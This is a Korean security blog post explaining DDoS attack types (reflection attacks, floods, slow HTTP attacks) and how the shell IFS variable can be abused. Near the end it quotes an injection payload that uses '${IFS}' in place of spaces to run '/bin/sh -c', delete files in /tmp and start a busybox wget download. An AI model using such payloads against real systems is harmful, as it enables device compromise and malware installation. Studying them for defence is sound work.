- 다수의 개발자들이 하나의 프로그램을 개발할 때 발생할 수 있는 버전 충돌을 방지하기 위해 각자 작업한 내용을 공유 영역에 업로드 함으로써 지속적 통합을 지원 (Jenkins Port: 33848_UDP)

- Jenkins가 DDoS로 악용 될 수 있는 원인은 취약버전에서 Jenkins 검색을 위해 사용되는 UDP 프로토콜의 요청을 검증없이 응답하기 때문

- 확보한 Jenkins 서버들에게 자동검색 Packet을 요청 (증폭률 최대 100배)

 

SNMP Reflection Attack
요약 - SNMP(Simple Network Management Protocol) 장치들을 반사 기기로 악용한 공격
설명 - SNMP(Simple Network Management Protocol)이란 시스템이나 네트워크 관리자로 하여금 원격으로 네트워크 장비를 모니터링하고 환경설정 등의 운영을 할 수 있도록 하는 네트워크 관리 프로토콜 (SNMP Port: 161,162_UDP)

 

Chargen Reflection Attack
요약 - Chargen 프로토콜을 악용한 공격
설명 - Chargen 프로토콜은 네트워크를 통해 문자열을 생성하고 보내는 프로토콜로서, 반사공격에선 생성된 문자열을 payload로 활용함 (Chargen Port: 19_UDP)

 

SunRPC Reflection Attack
요약 - RPC(Remote Procedure Call) 프로토콜을 악용한 공격
설명 - RPC(Remote Procedure Call) 프로토콜은 원격으로 함수를 호출하여 사용할 수 있게 하는 프로토콜로 RPC mapper라는 서비스를 통해 이뤄짐 (RPC: 111_UDP)

- RPC mapper를 악용하여 RPC mapper response 패킷을 피해시스템에게 보내 대역폭을 고갈 시킴

 

SYN/ACK Reflection Attack
요약 - 대규모의 SYN/ACK 패킷을 피해대상에게 보내서 서버의 리소스를 소모시키는 공격 방식
설명 - 피해자의 IP로 스푸핑 한 후 반사서버를 향해 대규모의 SYN 패킷을 보내면 SYN 패킷에대한 응답으로 SYN/ACK 패킷이 피해서버로 반사되어 전달되는 방식

 

[사진 1] 유형별 반사공격 증폭률

1. 대역폭 공격

UDP Flooding
요약 - 공격자는 다량의 UDP 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - UDP 프로토콜의 비연결형 (connectionless) 특성을 악용

- 대상서버에서 UDP Port를 사용하지 않아도 공격할 수 있으며, 공격을 수행하는 감염된 기기가 많을수록 위험도 증가

 

ICMP Flooding
요약 - 공격자는 다량의 ICMP Request 패킷을 서버로 전송하여 정상적인 서비스가 불가능하도록 하는 공격
설명 - 장치간 연결을 진단하는 ping 명령에 대표적으로 쓰이는 프로토콜로서 주로 ICMP Request와 Reply를 사용

- 증폭이 발생하지 않기 때문에 공격기기의 대역폭에 따라 공격 규모가 결정

 

2. 자원 소진 공격

SYN Flooding
요약 - 공격자는 다량의 SYN 패킷을 서버로 전송하여 서버의 대기큐를 가득채워 새로운 클라이언트의 연결요청을 무시하도록 하여 장애를 유발 시키는 공격 
설명 - TCP Protocol의 3-way-handshake를 악용

- SYN Flag만 지속적으로 전달하고 돌아오는 SYN/ACK 패킷에 대한 응답을 주지 않음

- 피해서버에서 가용할 수 있는 Backlog Queue를 전부 소모하여 정상 사용자 연결을 차단하게 됨

 

DNS Query Flooding
요약 - DNS서버에 대량의 DNS 질의를 보내서 정상 서비스를 할 수 없게 만드는 공격
설명 - DNS 서버는 UDP 프로토콜 53번을 통해 도메인 정보에 대한 IP주소를 요청을 받으면 해당하는 IP값을 응답하는 역할

- 단시간에 대량의 DNS 질의를 보내면 DNS서버는 요청한 DNS 질의에 대한 응답을 보내기 위해 자원을 소모하기 때문에 결과적으로 정상 서비스가 불가해짐

 

VSE Query Flooding
요약 - GRE 프로토콜을 이용해 특정사이즈의 패킷을 지속적으로 발생시켜 서버자원의 고갈을 유도
설명 - UDP (증폭) 공격으로 게임 서버에만 적용됨

- TSource 엔진 쿼리 요청을 게임 서버에 보내 서버가 모든 요청을 처리 할 수 없도록 하여 서비스 거부를 유발

 

GRE Flooding
요약 - 게임 서버를 대상으로 다량의 TSource Engine Query를 전송하여 서비스 거부를 유발 시키는 공격
설명 - GRE (Generic Routing Encapsulation): IP 네트워크에서 가상 점대 점 링크 내에 다양한 네트워크 계층 프로토콜을 캡슐화 할 수있는 터널링 프로토콜 

- GRE 프로토콜은 공격 시 encapsulation을 통해 대량의 payload를 전송 가능하고 , 타겟서버는 IP defragmentation 과정에서 자원 고갈이 발생 가능

 

Tsunami Syn Flooding
요약 - 패킷 당 1000bytes의 트래픽을 유발하여 서비스 거부를 유발 시키는 공격
설명 - 기존 SYN flood Attack은 패킷당 40~60bytes의 트래픽을 유발하는데 반해 Tsunami SYN-Flood Attack은 패킷당 1000bytes의 트래픽을 유발

- 일반적인 SYN 패킷에 25배(최대 1000bytes)의 크기로 패킷 데이터양을 추가하는 방식으로 공격을 수행

 

3. 웹/DB 부하 공격

GET Flooding
요약 - 서버와 세션을 맺은 후, HTTP GET 메소드 요청을 통해 웹서버 자원 소진 및 DB서버 자원을 소진 시키는 공격
설명 - 웹과 DB 부하 공격의 가장 대표적인 공격방식

- 서버와 세션을 맺은 후, HTTP GET 메소드 요청을 통해 웹서버의 자원을 소진함과 동시에 DB서버까지 자원을 소진 시켜서 정상적인 사용자의 웹서비스 이용을 차단

 

Slowloris Attack
요약 - HTTP 패킷의 헤더를 조작하여 오랜 시간 동안 지속적으로 공격으로 서버의 자원을 잠식하는 공격
설명 - 정상적인 HTTP 패킷의 헤더는 Carriage Return & Line Feed(이하 개행 문자)가 두 번 나타남

- 16진수로 0d0a0d0a

- 첫 번째 개행 문자는 헤더의 종료이며 두 번째 개행 문자는 전체 헤더의 종료를 의미

- 헤더의 마지막에 개행 문자를 하나만 전송할 경우 웹서버는 헤더가 모두 도착하지 않은 것으로 간주하고 연결을 유지하며 대기상태를 유지

 

RUDY Attack
요약 - Content-Length 헤더기를 매우 크게 설정한 후 서버로 전달할 데이터를 장시간에 걸쳐 조금씩 분할하여 전달해 서버의 자원을 잠식하는 공격
설명 - POST Method를 이용하는 대표적인 Slow 공격 유형

- POST 요청은 전달할 데이터의 크기를 Content-Length 헤더에 삽입하여 전송

- Content-Length 헤더기를 매우 크게 설정하고 데이터를 조금씩 전송하여 서버가 모든 데이터를 수신하기까지 대기하고, 결과적으로 정상 사용자들의 요청을 서비스 할 수 없게 됨

 

Slow read Attack
요약 - TCP 통신에서 사용되는 windows size를 악용한 공격기법
설명 - Client마다 한번에 처리할 수 있는 패킷의 크기가 다르기 때문에 해당 크기를 windows size 필드를 통해 전달

- windows size를 기준으로 패킷을 주고받음

- windows size를 낮게 설정하여 서버로 전달하고, 해당 size를 기준으로 통신하면서 데이터 전송이 완료될 때 까지 Connection을 유지하게 만들어 서버의 Connection 자원을 고갈시키는 공격

 

1. IFS(Internal Field Separator) String 

- 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 환경 변수

- 디폴트 값은 공백/탭/개행 문자 (space, tab, new line)

 

- IFS를 쉘 스크립트로 테스트해보면, 공백을 기준으로 문자를 나누어짐

[사진 1] test.sh 및 결과

 

- IFS를 다른 값으로 바꾸어 테스트 시 [사진 2] 처럼 하나의 문자열로 출력됨

※ 문자열을 apple:key:seoul:korea처럼 바꾸면 정상적으로 구분될 것

[사진 2] IFS 변경 테스트 결과

 

IFS는 환경변수
> 어느 한 쉘 스크립트에서 IFS값을 바꿀 경우 다른 쉘 스크립트에서 오작동이 일어날 수 있음
> 따라서 만일 IFS을 바꿔서 사용할 일이 있으면, 반드시 마지막에 다시 초기 IFS값으로 롤백해야 하는 로직을 추가해야 함

 

- 만약 아래와 같은 문자열이 포함된 요청을 수신할 경우 ${IFS} 문자열이 공백으로 치환되 임의 명령 수행이 가능해짐

/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}

[사진 3] IFS 예시

 

 

'취약점 > 기타' 카테고리의 다른 글

AD(Active Directory) 공격  (0) 2023.04.20
Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
DNS Zone Transfer  (0) 2022.12.07
Brute Force Attack  (0) 2022.11.16
TLS OpenSSL HeartBleed Vulnerability(CVE-2014-0160)  (0) 2022.09.29

+ Recent posts